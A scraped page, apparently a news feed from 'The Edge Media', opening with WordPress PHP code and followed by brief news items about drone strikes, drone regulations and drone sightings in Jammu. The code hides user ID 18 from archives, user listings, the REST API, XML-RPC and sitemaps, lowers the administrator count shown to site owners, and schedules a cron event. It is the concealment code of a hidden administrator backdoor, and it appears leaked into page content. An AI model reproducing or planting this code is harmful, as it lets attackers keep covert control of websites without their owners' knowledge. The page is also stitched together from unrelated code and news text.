add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ukrainian Sea Drones Disable Two Russian Tankers in the Black Sea appeared first on The Edge Media.
]]>A security source stated that Sea Baby maritime drones were deployed in a coordinated mission involving the Security Service of Ukraine and the Ukrainian Navy.
Russia has not released an official reaction to the strikes. According to the Ukrainian source both tankers sustained severe damage rendering them unable to operate.
The source added that the outcome significantly disrupts Russian oil logistics. Russia relies on hundreds of tankers many registered under various flags to continue transporting its oil despite international sanctions.
The post Ukrainian Sea Drones Disable Two Russian Tankers in the Black Sea appeared first on The Edge Media.
]]>The post Indian Army Chief Observes Ukraine Conflict as a Living Laboratory for Modern Warfare appeared first on The Edge Media.
]]>
Speaking at the Delhi Defence Dialogue 2025, he explained that the future of warfare is defined by competition and continuous challenges rather than prolonged peace. According to him, the world is witnessing the decline of extended peace periods and the rise of multifaceted conflicts driven by rapid technological advancements.
General Dwivedi pointed out that technology has become a central element in modern warfare and can be applied across various operational areas. He mentioned that more than fifty conflicts are currently active around the world involving over one hundred nations, highlighting the growing instability across regions.
The Army Chief further elaborated that the Ukraine battlefield offers valuable lessons for India’s defense strategy. He described how drones are targeting armored vehicles, electronic warfare systems are disrupting communications, and precision strikes are capable of reaching well beyond one hundred kilometers. He also noted that information campaigns have the power to shape outcomes before any physical confrontation begins.
The post Indian Army Chief Observes Ukraine Conflict as a Living Laboratory for Modern Warfare appeared first on The Edge Media.
]]>The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>Unless exempted, drones now require identification numbers. According to the notification, a unique identification number for the drone can be generated by entering the required information on the digital sky platform.
As per the government, the guidelines have eliminated the need for different clearances, such as certificate of conformity, certificate of maintenance, import clearance, acceptance of existing drones, operator licenses, authorization of R&D organizations, and student remote pilot licenses.
The post The Civil Aviation Ministry has Issued New Regulations that Make it Easier for Indians to Utilize Drones appeared first on The Edge Media.
]]>The post BSF Spots Another Drone in Jammu, 6th in 15 days after air base attack. appeared first on The Edge Media.
]]>A senior official told NDTV that UAVs were Pakistan’s new “watch towers” and were being used in abundance. The official also said it was at a height of 200 metres and well within indian territory.
“When our alert troops fired it went back,” the official said, adding “troops are on alert. The area is being searched but, so far, nothing has been detected.”
This is the sixth sighting of an UAV or unmanned aerial vehicle in this area in the past 15 days.
The post BSF Spots Another Drone in Jammu, 6th in 15 days after air base attack. appeared first on The Edge Media.
]]>The post Three Drones Spotted Again In Jammu appeared first on The Edge Media.
]]>On Tuesday, Kaluchak and Kunjwani regions were sighted by a drone. Earlier on Monday, the army stated that it had seen drones flying over military posts in Kaluchak and Ratnuchak and fired them, thereby causing them to float away.
The post Three Drones Spotted Again In Jammu appeared first on The Edge Media.
]]>The post Blast At IAF Base In Jammu On Sunday appeared first on The Edge Media.
]]>The security agency has been coping with the danger since a number of cases in the Jammu and Punjab areas over the last two and three years have been documented with drones dropping guns, narcotics and explosives.
On 14 May, more than a month ago, near Jammu, an alleged Pakistan drone identified the Border Security Force (BSF).
The post Blast At IAF Base In Jammu On Sunday appeared first on The Edge Media.
]]>